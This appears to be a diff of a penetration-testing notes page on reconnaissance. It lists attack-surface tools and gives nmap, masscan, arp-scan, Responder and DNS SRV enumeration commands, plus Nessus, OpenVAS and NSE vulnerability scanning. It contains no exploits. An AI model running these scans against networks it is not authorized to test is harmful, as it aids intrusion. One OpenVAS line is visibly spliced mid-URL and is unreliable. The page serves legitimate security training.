[https://medium.com/@nynan/automated-and-continuous-recon-attack-surface-management-amass-track-and-db-fabcaffce3c3](https://medium.com/@nynan/automated-and-continuous-recon-attack-surface-management-amass-track-and-db-fabcaffce3c3) -* [https://www.youtube.com/watch?v=mEQnVkSG19M](https://www.youtube.com/watch?v=mEQnVkSG19M) -{% endtab %} - -{% tab title="Project Discovery" %} -### [projectdiscovery.io](https://projectdiscovery.io/#/) - - Collection of open source tools for attack surface management or Bug Bounties. - -* [nuclei](https://github.com/projectdiscovery/nuclei) - Fast and customizable vulnerability scanner based on simple YAML based DSL. - * [https://github.com/projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - * [https://github.com/projectdiscovery/nuclei-docs](https://github.com/projectdiscovery/nuclei-docs) -* [subfinder](https://github.com/projectdiscovery/subfinder) - Subfinder is a subdomain discovery tool that discovers valid subdomains for websites. Designed as a passive framework to be useful for bug bounties and safe for penetration testing. - * To get better results remember to use api keys. The following need them, [Binaryedge](https://binaryedge.io/), [C99](https://api.c99.nl/), [Certspotter](https://sslmate.com/certspotter/api/), [Chinaz](http://my.chinaz.com/ChinazAPI/DataCenter/MyDataApi), [Censys](https://censys.io/), [Chaos](https://chaos.projectdiscovery.io/), [DnsDB](https://api.dnsdb.info/), [Fofa](https://fofa.so/static\_pages/api\_help), [Github](https://github.com/), [Intelx](https://intelx.io/), [Passivetotal](http://passivetotal.org/), [Robtex](https://www.robtex.com/api/), [SecurityTrails](http://securitytrails.com/), [Shodan](https://shodan.io/), [Spyse](https://spyse.com/), [Threatbook](https://x.threatbook.cn/en), [Virustotal](https://www.virustotal.com/), [Zoomeye](https://www.zoomeye.org/) - * API key file is located at $HOME/.config/subfinder/provider-config.yaml and the github has an example -* [naabu](https://github.com/projectdiscovery/naabu) - A fast port scanner written in go with a focus on reliability and simplicity. Designed to be used in combination with other tools for attack surface discovery in bug bounties and pentests -* [httpx](https://github.com/projectdiscovery/httpx) - httpx is a fast and multi-purpose HTTP toolkit allows to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads. -* [proxify](https://github.com/projectdiscovery/proxify) - Swiss Army knife Proxy tool for HTTP/HTTPS traffic capture, manipulation, and replay on the go. -* [dnsx](https://github.com/projectdiscovery/dnsx) - dnsx is a fast and multi-purpose DNS toolkit allow to run multiple DNS queries of your choice with a list of user-supplied resolvers. -{% endtab %} - -{% tab title="OSINT for ASM" %} -* URL: [https://www.runzero.com/](https://www.runzero.com/) About: runZero is a network discovery and asset inventory platform that uncovers every network in use and identifies every device connected–without credentials. \*\* Free Trial is available. \*\* -* [https://www.reconness.com/](https://www.reconness.com/) About: ReconNess helps you to run and keep all your recon in the same place allowing you to focus only on the potentially vulnerable targets without distraction and without required a lot of bash skill or programing skill in general. -* [https://github.com/yogeshojha/rengine](https://github.com/yogeshojha/rengine) About: reNgine is a web application reconnaissance suite with focus on a highly configurable streamlined recon process via Engines, recon data correlation, continuous monitoring, recon data backed by a database, and a simple yet intuitive User Interface. With features such as sub-scan, deeper co-relation, report generation, etc. reNgine aims to fix the gap in the traditional recon tools and probably a better alternative for existing commercial tools.\ - reNgine makes it easy for penetration testers and security auditors to gather reconnaissance data with bare minimal configuration. -* [https://github.com/slithery0/eReKon](https://github.com/slithery0/eReKon) About: Web reconnaissance tool, only available in dark mode. Provides subdomain scanning, port scanning, version fingerprinting and screenshots of web applications. \ - \*\* While it appears there is some development being done, the overall application appears to be under development still and should be used with caution. \*\* -{% endtab %} - -{% tab title="ASM Frameworks" %} -* [https://github.com/archerysec/archerysec](https://github.com/archerysec/archerysec) About: ArcherySec allow to interact with continuous integration/continuous delivery (CI/CD) toolchains to specify testing, and control the release of a given build based on results. Its include prioritization functions, enabling you to focus on the most critical vulnerabilities. ArcherySec uses popular opensource tools to perform comprehensive scanning for web application and network. The developers can also utilize the tool for implementation of their DevOps CI/CD environment. - * [https://www.archerysec.com/](https://www.archerysec.com/) -* [https://github.com/microsoft/AttackSurfaceAnalyzer](https://github.com/microsoft/AttackSurfaceAnalyzer) About: Attack Surface Analyzer is a Microsoft developed open source security tool that analyzes the attack surface of a target system and reports on potential security vulnerabilities introduced during the installation of software or system misconfiguration. -* [https://github.com/vmware-labs/attack-surface-framework](https://github.com/vmware-labs/attack-surface-framework) About: ASF aims to protect organizations acting as an attack surface watchdog, provided an “Object” which might be a: Domain, IP address or CIDR (Internal or External), ASF will discover assets/subdomains, enumerate their ports and services, track deltas and serve as a continuous and flexible attacking and alerting framework leveraging an additional layer of support against 0 day vulnerabilities with publicly available POCs. -* [https://github.com/superhedgy/AttackSurfaceMapper](https://github.com/superhedgy/AttackSurfaceMapper) About: AttackSurfaceMapper (ASM) is a reconnaissance tool that uses a mixture of open source intelligence and active techniques to expand the attack surface of your target. You feed in a mixture of one or more domains, subdomains and IP addresses and it uses numerous techniques to find more targets. It enumerates subdomains with bruteforcing and passive lookups, Other IPs of the same network block owner, IPs that have multiple domain names pointing to them and so on.\ - Once the target list is fully expanded it performs passive reconnaissance on them, taking screenshots of websites, generating visual maps, looking up credentials in public breaches, passive port scanning with Shodan/Censys and scraping employees from LinkedIn. -* [https://github.com/pry0cc/axiom](https://github.com/pry0cc/axiom) About: Axiom is a dynamic infrastructure framework to efficiently work with multi-cloud environments, build and deploy repeatable infrastructure focussed on offensive and defensive security.\ - Axiom works by pre-installing your tools of choice onto a 'base image', and then using that image to deploy fresh instances. From there, you can connect and instantly gain access to many tools useful for both bug hunters and pentesters. With the power of immutable infrastructure, most of which is done for you, you can just spin up 15 boxes, perform a distributed nmap/ffuf/screenshotting scan, and then shut them down.\ - Axiom supports several cloud providers, eventually, axiom should be completely cloud agnostic allowing unified control of a wide variety of different cloud environments with ease. Currently, DigitalOcean, IBM Cloud, Linode, Azure and AWS are officially supported providers. GCP isnt supported but is partially implemented and on the roadmap. -* [https://github.com/riskprofiler/CloudFrontier](https://github.com/riskprofiler/CloudFrontier) About: Monitor the internet attack surface of various public cloud environments. Currently supports AWS, GCP, Azure, DigitalOcean and Oracle Cloud. \ - \*\* It should be noted that this project has not been updated in some time and there are open issues. \*\* -* [https://github.com/Findomain/Findomain](https://github.com/Findomain/Findomain) About: The complete solution for domain recognition. Supports screenshoting, port scan, HTTP check, data import from other tools, subdomain monitoring, alerts via Discord, Slack and Telegram, multiple API Keys for sources and much more. -* [https://core.intrigue.io/](https://core.intrigue.io/) About: Intrigue Core is a framework for discovering attack surface. It discovers security-relevant assets and exposures within the context of projects and can be used with a human-in-the-loop running individual tasks, and/or automated through the use of workflows. With a flexible entity model and an incredibly deep enrichment system, it is the most full-featured attack surface discovery framework of its kind.\ - \*\* A slack channel is available for support. Also, as of October 1, 2021, this component of the Intrigue project is no longer actively maintained on Github, and the code in Github has been re-licensed under the terms of the Mandiant Limited Open Source License Agreement. \*\* -* [https://ivre.rocks/](https://ivre.rocks/) - IVRE is an open-source framework for network recon. It relies on open-source well-known tools ([Nmap](https://nmap.org/), [Masscan](https://github.com/robertdavidgraham/masscan), [ZGrab2](https://github.com/zmap/zgrab2), [ZDNS](https://github.com/zmap/zdns) and [Zeek (Bro)](https://www.zeek.org/)) to gather data (_network intelligence_), stores it in a database ([MongoDB](https://www.mongodb.com/) is the recommended backend), and provides tools to analyze it. -{% endtab %} - -{% tab title="Other Tools" %} -* [Odin](https://github.com/chrismaddalena/ODIN) - ODIN is Python tool for automating intelligence gathering, asset discovery, and reporting. -* [Asnip](https://github.com/harleo/asnip) - Asnip retrieves all IPs of a target organization—used for attack surface mapping in reconnaissance phases. -* [https://github.com/edoardottt/csprecon](https://github.com/edoardottt/csprecon) - Discover new target domains using Content Security Policy -* [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths) - A collection of special paths linked to major web CVEs, known misconfigurations, juicy APIs ..etc. It could be used as a part of web content discovery, to scan passively for high-quality endpoints and quick-wins -* [https://github.com/hakluke/hakcertstream](https://github.com/hakluke/hakcertstream) - Use CertStream to get lists of new domains and subdomains registered with a certificate authority. -* [https://dehashed.com/](https://dehashed.com/) - Scan domain for indicators found in breaches -* [https://www.riskiq.com/](https://www.riskiq.com/) - RiskIQ Digital Footprint gives complete visibility beyond the firewall. Unlike scanners and IP-dependent data vendors, RiskIQ Digital Footprint is the only solution with composite intelligence, code-level discovery and automated threat detection and exposure monitoring—security intelligence mapped to your attack surface. -* [https://www.whoisxmlapi.com/](https://www.whoisxmlapi.com/) - Domain & IP Data Intelligence for Greater Enterprise Security -* [https://securitytrails.com/](https://securitytrails.com/) - Powerful tools for third-party risk, attack surface management, and total intel -* [Goby](https://github.com/gobysec/Goby) - **Goby** is a new generation network security assessment tool. It can efficiently and practically scan vulnerabilities while sorting out the most complete attack surface information for a target enterprise. - * [https://gobies.org/](https://gobies.org/) -{% endtab %} -{% endtabs %} - -### Host/Asset discovery - -Once on or apart of a target network we can perform a more detailed round of enumeration and discovery. By directly interacting with local network applications, host discovery can be used to identify vulnerable systems, services, and network topology. - -Once the active devices on the network have been identified, the penetration tester can move on to the next steps in the penetration test process, such as vulnerability analysis and exploitation. - -Host discovery can be performed by a few handy tools as well as command to enumerate hosts via various services. - -* [https://book.hacktricks.xyz/pentesting/pentesting-network#discovering-hosts](https://book.hacktricks.xyz/pentesting/pentesting-network#discovering-hosts) -* [https://www.secjuice.com/osint-detecting-enumerating-firewalls-gateways/](https://www.secjuice.com/osint-detecting-enumerating-firewalls-gateways/) -* [fierce](https://www.kali.org/tools/fierce/) - Fierce is a semi-lightweight scanner that helps locate non-contiguous IP space and hostnames against specified domains. It’s really meant as a pre-cursor to nmap, unicornscan, nessus, nikto, etc, since all of those require that you already know what IP space you are looking for. -* [hosthunter](https://www.kali.org/tools/hosthunter/) - This package contains a tool to efficiently discover and extract hostnames providing a large set of target IP addresses. HostHunter utilises simple OSINT techniques to map IP addresses with virtual hostnames. - -{% tabs %} -{% tab title="DHCP" %} -``` +```bash nmap --script broadcast-dhcp-discover +nmap -sn 192.168.0.0/24 +fping -sagq 192.168.0.0/24 +sudo arp-scan -l +netdiscover -r 192.168.0.0/24 ``` -{% endtab %} - -{% tab title="DNS" %} -AD-DS (Active Directory Domain Services) rely on DNS SRV RR (service location resource records). Those records can be queried to find the location of some servers: the global catalog, LDAP servers, the Kerberos KDC and so on. -nslookup is a DNS client that can be used to query SRV records. It usually comes with the [https://packages.debian.org/buster/dnsutils](https://packages.debian.org/buster/dnsutils) package. +### Active Directory DNS SRV Discovery -``` -# find the PDC (Principal Domain Controller) +```bash nslookup -type=srv _ldap._tcp.pdc._msdcs.$FQDN_DOMAIN -​ -# find the DCs (Domain Controllers) nslookup -type=srv _ldap._tcp.dc._msdcs.$FQDN_DOMAIN -​ -# find the GC (Global Catalog, i.e. DC with extended data) nslookup -type=srv gc._msdcs.$FQDN_DOMAIN -​ -# Other ways to find services hosts that may be DCs nslookup -type=srv _kerberos._tcp.$FQDN_DOMAIN nslookup -type=srv _kpasswd._tcp.$FQDN_DOMAIN nslookup -type=srv _ldap._tcp.$FQDN_DOMAIN -``` - -This can also be accomplished by an NMAP Script - -``` nmap --script dns-srv-enum --script-args dns-srv-enum.domain=$FQDN_DOMAIN ``` -{% endtab %} - -{% tab title="Host Cmd" %} -Name Servers - -``` -$ host -t ns domain.com -``` - -Email Server - -``` -$ host -t mx domain.com -``` -{% endtab %} - -{% tab title="ICMP" %} -``` -#ping -c 1 199.66.11.4 #1 echo request to a host -#fping -sagq 192.168.0.0/24 #Send echo requests to ranges -#nmap -PEPM -sP -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests -``` -* s = print status after completion -* a - show active/alive targets -* g = generate target list -* q = dont show per target list (we dont care about unreachables) -{% endtab %} +### Wake-on-LAN -{% tab title="ARP" %} -[arp-scan](https://www.kali.org/tools/arp-scan/) - sends arp requests to look for link layer devices +Wake-on-LAN magic packets are usually sent as Ethernet type `0x0842` or UDP port 9. Verify this is in scope before testing it on a real network. +```bash +wol.eth [MAC] +wol.udp [MAC] ``` -#sudo arp-scan -l -#nmap -sn #ARP Requests (Discover IPs) -#netdiscover -r #ARP requests (Discover IPs) -``` -{% endtab %} -{% tab title="WOL" %} -Wake On Lan is used to turn on computers through a network message. The magic packet used to turn on the computer is only a packet where a MAC Dst is provided and then it is repeated 16 times inside the same paket. Then this kind of packets are usually sent in an ethernet 0x0842 or in a UDP packet to port 9. If no \[MAC] is provided, the packet is sent to broadcast ethernet (and the broadcast MAC will be the one being repeated). +### Responder Analyze Mode -``` -#WOL (without MAC is used ff:...:ff) -wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 -wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 -## Bettercap2 can also be used for this purpose -``` -{% endtab %} -{% endtabs %} +Responder belongs with network poisoning and MITM techniques, but its analyze mode can be useful during discovery. -{% tabs %} -{% tab title="Responder" %} -[Responder](https://github.com/lgandx/Responder) is a great tool for spoofing various network protocols but can also be used in "analyze" modes. - -* **BROWSER mode**: inspect [Browse Service](http://ubiqx.org/cifs/Browsing.html) messages and map IP addresses with NetBIOS names -* **LANMAN mode**: passively map domain controllers, servers and workstations joined to a domain with the Browser protocol -* **LLMNR, NBTNS, MDNS modes**: inspect broadcast and multicast name resolution requests - -The following command will enable the analyze modes and will give interesting information like: - -* Domain Controller, SQL servers, workstations -* Fully Qualified Domain Name (FQDN) -* Windows versions in used -* The "enabled" or "disabled" state of protocols like LLMNR, NBTNS, MDNS, LANMAN, BROWSER - -``` -// Some code +```bash +sudo responder -I eth0 -A ``` +{% content-ref url="../post-exploitation/network-attacks-harvesting-mitm.md" %} +[network-attacks-harvesting-mitm.md](../post-exploitation/network-attacks-harvesting-mitm.md) +{% endcontent-ref %} +## Port Scanning -[https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/responder-20-owning-windows-networks-part-3/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/responder-20-owning-windows-networks-part-3/) -{% endtab %} - -{% tab title="NBTSCAN" %} -Just like DNS, the NTB-NS (NetBIOS name service) protocol is used to translate names to IP addresses. By default, it's used as a fallback in AD-DS. - -[https://wiki.wireshark.org/NetBIOS/NBNS](https://wiki.wireshark.org/NetBIOS/NBNS) - -``` -nbtscan -r 192.168.0.1/24 #Search in Domain -``` -{% endtab %} - -{% tab title="Bettercap2" %} -``` -net.probe on/off #Activate all service discover and ARP -net.probe.mdns #Search local mDNS services (Discover local) -net.probe.nbns #Ask for NetBios name (Discover local) -net.probe.upnp # Search services (Discover local) -net.probe.wsd # Search Web Services Discovery (Discover local) -net.probe.throttle 10 #10ms between requests sent (Discover local) -``` - -[https://github.com/bettercap/bettercap](https://github.com/bettercap/bettercap) -{% endtab %} -{% endtabs %} - -### **Port-Scanning** - -Port Scanning is a security penetration test that involves the use of software to identify open ports on a network and the services running on those ports. It is an important part of a security assessment because it can uncover security vulnerabilities that may otherwise be overlooked. - -During a port scan, the software sends packets to each port on the target system and listens for a response. Depending on the response, the software can determine whether a port is open or closed. If a port is open, the software can also determine the service running on it. This information can help the tester identify any vulnerable services that can be exploited. - -Port Scanning can help determine if there are any unauthorized access points, such as open ports or services running without authentication. It can also help determine if any services are running outdated versions of software that could be vulnerable to exploits. - -Port status and other details can be gathered via manual requests, or through port scanning tools. - -The tool NMAP has long been the standard for port scanning is an essential tool for all security testers to know. +Port scanning identifies exposed services and helps prioritize enumeration. Tune rate, timing, and scan type to the rules of engagement. {% content-ref url="nmap.md" %} [nmap.md](nmap.md) {% endcontent-ref %} -
- -Masscan +### Common Tools -This is an Internet-scale port scanner. It can scan the entire Internet in under 5 minutes, transmitting 10 million packets per second, from a single machine. +* [Masscan](https://github.com/robertdavidgraham/masscan) - Internet-scale TCP port scanner. +* [RustScan](https://github.com/RustScan/RustScan) - Fast port scanner that can hand results to Nmap. +* [naabu](https://github.com/projectdiscovery/naabu) - Fast ProjectDiscovery port scanner. +* [Unicornscan](https://www.kali.org/tools/unicornscan/) - User-land distributed TCP/IP stack scanner. +* [Scantron](https://github.com/rackerlabs/scantron) - Distributed Nmap/Masscan scanning platform. +* [Scanless](https://github.com/vesche/scanless) - Uses third-party websites to perform port scans. +* [unimap](https://github.com/Edu4rdSHL/unimap) - Reduces duplicate scans across large target sets. +* [AMAP](https://www.kali.org/tools/amap/) - Identifies applications running on non-standard ports. +```bash +sudo masscan -p 80,443,445 10.0.0.0/24 --rate 1000 +rustscan -a 10.10.10.10 -- -sV +naabu -host 10.10.10.10 +nc -v 10.10.10.10 443 +telnet 10.10.10.10 25 +amap -d 10.10.10.10 8080 ``` -# sudo apt install masscan -# sudo masscan -p [port(s)] [IP CIDR] -``` - -* \-oL \[log file] - - - -* \-e specify interface - - - -* \--rate rate of packet transmission - - - -* \--router-ip - specify the IP address for the appropriate gateway - -
- -
- -UnicornScan - -Unicornscan is an attempt at a User-land Distributed TCP/IP stack. It is intended to provide a researcher a superior interface for introducing a stimulus into and measuring a response from a TCP/IP enabled device or network. - -* [https://linuxhint.com/unicornscan\_beginner\_tutorial/](https://linuxhint.com/unicornscan\_beginner\_tutorial/) -* Port Scanning with UnicornScan - [https://youtu.be/X\_DdYUeKS-o](https://youtu.be/X\_DdYUeKS-o) - -
- -
- -Other Tools - -* [WebMap](https://github.com/DeadNumbers/WebMap) - Nmap Web Dashboard and Reporting -* [Scantron](https://github.com/rackerlabs/scantron) - Scantron is a distributed nmap and [Masscan](https://github.com/robertdavidgraham/masscan) scanner comprised of two components. The first is a console node that consists of a web front end used for scheduling scans and storing scan targets and results. The second component is an engine that pulls scan jobs from the console and conducts the actual scanning. -* [Scanless](https://github.com/vesche/scanless) - This is a Python 3 command-line utility and library for using websites that can perform port scans on your behalf. -* [naabu](https://github.com/projectdiscovery/naabu) - A fast port scanner written in go with a focus on reliability and simplicity. Designed to be used in combination with other tools for attack surface discovery in bug bounties and pentests -* [RustScan](https://github.com/RustScan/RustScan) - The Modern Port Scanner. **Find ports quickly (3 seconds at its fastest)**. Run scripts through our scripting engine (Python, Lua, Shell supported). - * [https://reconshell.com/rustscan-faster-port-scanning-tool/](https://reconshell.com/rustscan-faster-port-scanning-tool/) - * [https://tryhackme.com/room/rustscan](https://tryhackme.com/room/rustscan) -* [knocker](https://www.kali.org/tools/knocker/) - Knocker is a new, simple, and easy to use TCP security port scanner written in C, using threads. It is able to analyze hosts and the network services which are running on them. -* [unimap](https://github.com/Edu4rdSHL/unimap) - Scan only once by IP address and reduce scan times with Nmap for large amounts of data. - -
- -
- -Manual Port Checks - -Netcat banner grab - -``` -nc -v 10.10.10.10 port -``` - -Telnet banner grab - -``` -telnet 10.10.10.10 port -``` - -
- -
- -Probe Response CheatSheet - -* **Open** port: _SYN --> SYN/ACK --> RST_ - - - -* **Closed** port: _SYN --> RST/ACK_ - - - -* **Filtered** port: _SYN --> \[NO RESPONSE]_ - - - -* **Filtered** port: _SYN --> ICMP message_ - -
- -For more detailed identification of running appications, even if they are running on a non-standard port, we can use Application Detection tools to enumerate these. - -[AMAP](https://www.kali.org/tools/amap/) - Attempts to identify applications even if they are running on a different port than normal. - -``` -$ amap -d $ip -``` - -### DNS Recon -DNS reconnaissance is the process of gathering information about a domain by querying various DNS records. DNS reconnaissance is often used to identify hosts, subdomains, and services associated with a domain. It can also provide insight into the network infrastructure, such as the type of DNS servers being used and the type of records they are responding with. +### Probe Response Cheat Sheet -DNS Enumeration tools can give detail not just on DNS services related to your target, but also be used to identify other assets such as related domains and IP addresses. +* Open: `SYN -> SYN/ACK -> RST` +* Closed: `SYN -> RST/ACK` +* Filtered: no response or ICMP unreachable message. -
+## Active DNS Recon -DNS Enumeration Tools +Use this section for DNS queries, brute forcing, and active resolution tied to an authorized target. Passive DNS history and domain investigation belong under Cyber Intelligence. -* [dnsdumpster](https://github.com/nmmapper/dnsdumpster) - A tool to perform DNS reconnaissance on target networks. Among the DNS information got from include subdomains, mx records, web application firewall detection and more fingerprinting and lookups - - - -* [DNSRecon](https://github.com/darkoperator/dnsrecon) - The Original DNS recon script. - * [https://www.kali.org/tools/dnsrecon/](https://www.kali.org/tools/dnsrecon/) - - - -* [dnscan](https://github.com/rbsec/dnscan) - dnscan is a python wordlist-based DNS subdomain scanner. - - - -* [dnsenum](https://www.kali.org/tools/dnsenum/) - Dnsenum is a multithreaded perl script to enumerate DNS information of a domain and to discover non-contiguous ip blocks. - - - -* [dnsmap](https://www.kali.org/tools/dnsmap/) - dnsmap scans a domain for common subdomains using a built-in or an external wordlist - - - -* [dnstracer](https://www.kali.org/tools/dnstracer/) - determines where a given Domain Name Server (DNS) gets its information from for a given hostname, and follows the chain of DNS servers back to the authoritative answer. - - - -* [Lepus](https://github.com/gfek/Lepus) - A tool for enumerating subdomains, checking for subdomain takeovers and perform port scans - and boy, is it fast! - - - -* [Knock](https://github.com/guelfoweb/knock) - Knockpy is a python3 tool designed to enumerate subdomains on a target domain through dictionary attack. - - - -* [HostileSubBruteForcer](https://github.com/nahamsec/HostileSubBruteforcer) - Aggressive SubDomain brute forcing tool written by Nahamsec. - - - -* [altdns](https://www.kali.org/tools/altdns/) - a DNS recon tool that allows for the discovery of subdomains that conform to patterns. - - - -* [assetfinder](https://www.kali.org/tools/assetfinder/) - A tool to find domains and subdomains potentially related to a given domain. - - - -* [fierce](https://www.kali.org/tools/fierce/) - Fierce is a semi-lightweight scanner that helps locate non-contiguous IP space and hostnames against specified domains. It’s really meant as a pre-cursor to nmap, unicornscan, nessus, nikto, etc, since all of those require that you already know what IP space you are looking for. - - - -* [cansina](https://github.com/deibit/cansina) - a Web Content Discovery Application. Help you making requests and filtering and inspecting the responses to tell apart if it is an existing resource or just an annoying or disguised 404. - - - -* [Sublist3r](https://github.com/aboul3la/Sublist3r) - Sublist3r is a python tool designed to enumerate subdomains of websites using OSINT. It helps penetration testers and bug hunters collect and gather subdomains for the domain they are targeting. Sublist3r enumerates subdomains using many search engines such as Google, Yahoo, Bing, Baidu and Ask. Sublist3r also enumerates subdomains using Netcraft, Virustotal, ThreatCrowd, DNSdumpster and ReverseDNS. This tool can do both scraping and Bruteforce which makes it a nice combined tool. The downside how ever is the wordlist cannot be specified. - * [https://tryhackme.com/room/rpsublist3r](https://tryhackme.com/room/rpsublist3r) - * [subbrute](https://github.com/TheRook/subbrute) - A DNS meta-query spider that enumerates DNS records, and subdomains. (included in Sublist3r) - - - -* [dnsx](https://github.com/projectdiscovery/dnsx) - dnsx is a fast and multi-purpose DNS toolkit allow to run multiple DNS queries of your choice with a list of user-supplied resolvers. - - - -* [massdns](https://github.com/blechschmidt/massdns) - A high-performance DNS stub resolver for bulk lookups and reconnaissance (subdomain enumeration) - * Due to how many requests sent, we should use a list of resolvers to not get our connection banned. More on rate limiting here: [https://github.com/blechschmidt/massdns#rate-limiting-evasion](https://github.com/blechschmidt/massdns#rate-limiting-evasion) - * [shuffledns](https://github.com/projectdiscovery/shuffledns) - MassDNS wrapper written in go that allows you to enumerate valid subdomains using active bruteforce as well as resolve subdomains with wildcard handling and easy input-output support. - - - -* [SubDomainizer](https://github.com/nsonaniya2010/SubDomainizer) - A tool to find subdomains and interesting things hidden inside, external Javascript files of page, folder, and Github. - - - -* [shosubgo](https://github.com/incogbyte/shosubgo) - Small tool to Grab subdomains using Shodan api. - - - -* [zdns](https://github.com/zmap/zdns) - Fast CLI DNS Lookup Tool - - - -* [aiodnsbrute](https://github.com/blark/aiodnsbrute) - A Python 3.5+ tool that uses asyncio to brute force domain names asynchronously. This is a bruteforcer with insane speed, and a very large number of built in wordlists. Use a list of resolvers with it - - - -* [Altdns](https://github.com/infosec-au/altdns): Altdns is a DNS recon tool that allows for the discovery of subdomains that conform to patterns. Altdns takes in words that could be present in subdomains under a domain (such as test, dev, staging), as well as a list of known subdomains. - - - -* [Findomain](https://github.com/Findomain/Findomain): Findomain offers a dedicated monitoring service hosted in Amazon (only the local version is free), that allows you to monitor your target domains and send alerts to Discord and Slack webhooks or Telegram chats when new subdomains are found. - - - -* [Dome](https://github.com/v4d1/Dome) - Fast and reliable python script that makes active and/or passive scan to obtain subdomains and search for open ports. - -
- -Sub-domains are subsections of larger domains used to create separate sections of a website or to organize content into different categories. Each subdomain can provide a wealth of new attack vectors and vulnerabilities to map. - -Discovering Sub-Domains can involve dynamic crawling of a website, brute forcing of common sub-domain names, and then visually parsing and flying through subdomains looking for anything fun and interesting. This process is called Sub-Domain Fly-Over. - -{% embed url="https://pentestbook.six2dez.com/others/subdomain-tools-review" %} - -{% tabs %} -{% tab title="Sub-Domain Fly-Over" %} -* [Aquatone](https://github.com/michenriksen/aquatone) - Aquatone is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface. - * [https://blog.intigriti.com/2021/07/20/hacker-tools-aquatone/](https://blog.intigriti.com/2021/07/20/hacker-tools-aquatone/) -* [EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness) - EyeWitness is designed to take screenshots of websites, provide some server header info, and identify default credentials if possible -* [Meg](https://github.com/tomnomnom/meg): Meg is a tool for fetching lots of URLs without taking a toll on the servers. It can be used to fetch many paths for many hosts, or fetching a single path for all hosts before moving on to the next path and repeating. -{% endtab %} - -{% tab title="Second Tab" %} - -{% endtab %} -{% endtabs %} - -## **Vulnerability Scanning** - -Vulnerability scanning is a process of identifying, detecting, and assessing security vulnerabilities in a computer system. It is designed to find known and unknown security risks in a network or computer system. Vulnerability scanning helps organizations identify and address any weaknesses in their systems before they can be exploited by attackers. - -A vulnerability scan usually involves using automated tools to scan a system for known vulnerabilities. The scan looks for known weaknesses, such as incorrect settings, outdated software, missing patches, or other security flaws that could be exploited by attackers. After the scan is complete, a report is generated outlining the weaknesses found and providing recommendations on how to address them. - -Vulnerability scanning is an important part of a comprehensive security program, and helps organizations identify and address weaknesses before attackers can exploit them. Conversely, vulnerability scanners are often used by offensive security testers to identify weak targets for exploitation. - -* _BTFM: Scanning and Vulnerabilities - pg. 11_ -* _Penetration Testing: Finding Vulnerabilities - pg.133_ - -{% tabs %} -{% tab title="Nessus " %} -[https://www.tenable.com/products/nessus/nessus-professional](https://www.tenable.com/products/nessus/nessus-professional) - -The most popular vulnerability scanning tool on the web. - -* Getting started with Nessus Guide - [https://www.tenable.com/blog/getting-started-with-nessus-on-kali-linux](https://www.tenable.com/blog/getting-started-with-nessus-on-kali-linux) -* Nessus Essentials (Home Version) - [https://www.tenable.com/products/nessus/nessus-essentials](https://www.tenable.com/products/nessus/nessus-essentials) -* [https://www.infosecmatter.com/install-nessus-and-plugins-offline-tutorial-with-pictures/](https://www.infosecmatter.com/install-nessus-and-plugins-offline-tutorial-with-pictures/) - -Commands - -* Install and manual download - [https://www.tenable.com/downloads/nessus](https://www.tenable.com/downloads/nessus) - * \#sudo apt install ./Nessus-X.X.X.deb -* Start nessus service - * \#sudo /etc/init.d/nessusd start - * Browser > [https://localhost:8834](https://localhost:8834) -{% endtab %} - -{% tab title="OpenVAS" %} -### [OpenVAS](https://github.com/greenbone/openvas) - -Open Source Vulnerability Assessment Scanner. Free and comes pre installed on Kali Linux. - -* [https://docs.greenbone.net/](https://docs.greenbone.net/) -* [https://www.kali.org/tools/gvm/](https://www.kali.org/tools/gvm/) -* [https://tryhackme.com/room/openvas](https://tryhackme.com/room/openvas) - -Commands - -* Setup - * \# openvas-setup -* Update Signature - * \# openvas-feed-update -* After setup and update, check listening ports to see if OpenVAS is active - * \#ss -lnt4 -* Navigate to WebUI - * https://127.0.0.1:939[NSE Nmap Scripts](https://nmap.org/nsedoc/) - NSE Scripts can perform various scanning techniques for enumerating services and scanning targets for specific vulnerabilities. - -{% embed url="https://youtu.be/fEANg6gyV5A" %} - -{% embed url="https://youtu.be/koMo_fSQGlk" %} -{% endtab %} - -{% tab title="NSE Scripts" %} -* Show all available scripts and thier details - * \# nmap --script-help default -* Show all vuln/exploit scripts - * \# cat script.db | grep '"vuln"\\|"exploit"' -* Run all scripts in "vuln' category - * \# sudo nmap --script vuln \[ip] -{% endtab %} - -{% tab title="Other Scanning Tools" %} -### **Other Scanning Tools** - -* [ReconMap](https://reconmap.org/) - Reconmap is a vulnerability assessment and penetration testing (VAPT) platform. It helps software engineers and infosec pros collaborate on security projects, from planning, to implementation and documentation. The tool's aim is to go from recon to report in the least possible time. - * [https://github.com/reconmap/reconmap](https://github.com/reconmap/reconmap) -* [Vulmap](https://github.com/vulmon/Vulmap) - Vulmap Online Local Vulnerability Scanners Project - * [https://vulmon.com/](https://vulmon.com/) -* [Vuls](https://github.com/future-architect/vuls) - Vulnerability scanner for Linux/FreeBSD, agent-less, written in Go. -* [Tsunami Scanner](https://github.com/google/tsunami-security-scanner) - Tsunami is a general purpose network security scanner with an extensible plugin system for detecting high severity vulnerabilities with high confidence. -* [Flan Scan](https://github.com/cloudflare/flan) - Flan Scan is a lightweight network vulnerability scanner. With Flan Scan you can easily find open ports on your network, identify services and their version, and get a list of relevant CVEs affecting your network. -* [https://github.com/v3n0m-Scanner/V3n0M-Scanner](https://github.com/v3n0m-Scanner/V3n0M-Scanner) - Popular Pentesting scanner in Python3.6 for SQLi/XSS/LFI/RFI and other Vulns -{% endtab %} -{% endtabs %} - -## Web Application Scanning and Testing - -Web Application Security Testing is a type of security testing that is used to identify and address security vulnerabilities in web applications. It is a process that involves testing the security of web applications for weaknesses that could potentially be exploited by attackers. The goal of this type of testing is to identify and fix any security issues that could lead to the unauthorized access, manipulation, or destruction of data, or any other malicious activity. - -Dynamic application security testing (DAST) is a process used to assess the security of a web application while it is running. This type of testing can be used to identify application-level vulnerabilities, such as cross-site scripting (XSS) and SQL injection. - -For testing various web applications there are a multitude of testing tools for both individual vulnerabilities, as well as comprehensive suites. The foremost of these is Burp Suite. - -{% content-ref 